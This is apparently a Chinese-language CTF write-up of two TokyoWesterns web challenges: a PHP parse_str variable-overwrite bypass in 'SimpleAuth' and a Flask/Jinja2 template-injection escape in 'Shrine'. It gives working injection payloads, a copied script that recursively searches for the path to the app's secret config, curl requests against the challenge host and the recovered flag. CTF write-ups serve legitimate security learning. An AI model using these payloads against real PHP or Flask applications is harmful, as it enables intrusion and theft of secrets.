TokyoWesternswp

复现几道

web

SimpleAuth

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
> <?php
>
> require_once 'flag.php';
>
> if (!empty($_SERVER['QUERY_STRING'])) {
> $query = $_SERVER['QUERY_STRING'];
> $res = parse_str($query);
> if (!empty($res['action'])){
> $action = $res['action'];
> }
> }
>
> if ($action === 'auth') {
> if (!empty($res['user'])) {
> $user = $res['user'];
> }
> if (!empty($res['pass'])) {
> $pass = $res['pass'];
> }
>
> if (!empty($user) && !empty($pass)) {
> $hashed_password = hash('md5', $user.$pass);
> }
> if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
> echo $flag;
> }
> else {
> echo 'fail :(';
> }
> }
> else {
> highlight_file(__FILE__);
> }
>

考点是parse_str的变量覆盖漏洞

正常情况下是做不到

1
2
3
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}

但如果 pasre_str没加result参数 parse_str函数的作用就是解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量

所以直接传就行

?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e

变量覆盖漏洞还有可能出现在 extract() import_request_variables()
参考
https://www.cnblogs.com/sqyysec/p/6926095.html

Shrine

又是个py沙盒 py3的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)

算是比较狠的过滤了 ()没了很关键 如果有的话可以

1
2
( and )
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}

得对flask比较熟悉才行 最终用的

1
2
3
4
GET /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
or
GET /shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

还有一个更牛逼的做法 自动化查询 本地搭建环境测试 懒得敲了直接贴过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
虽然config并且self未设置,request但仍然可用。我相信app.config可能在某个地方..为了搜索它,我编写了一个函数来遍历request递归的子属性:
# search.py
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
print(obj)
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
修改app.py:
import flask
import os
from flask import request
from search import search
app = flask.Flask(__name__)
app.config['FLAG'] = 'TWCTF_FLAG'
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
for path, obj in search(request, 10):
if str(obj) == app.config['FLAG']:
return path
if __name__ == '__main__':
app.run(debug=True)
$ python3 app.py &
$ curl 0:5000/shrine/123
obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']
$ curl -g "http://shrine.chal.ctf.westerns.tokyo/shrine/{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}"
TWCTF{pray_f0r_sacred_jinja2}

我擦全自动出结果 把我秀哭了

参考
https://ctftime.org/writeup/10895
https://ctftime.org/writeup/10851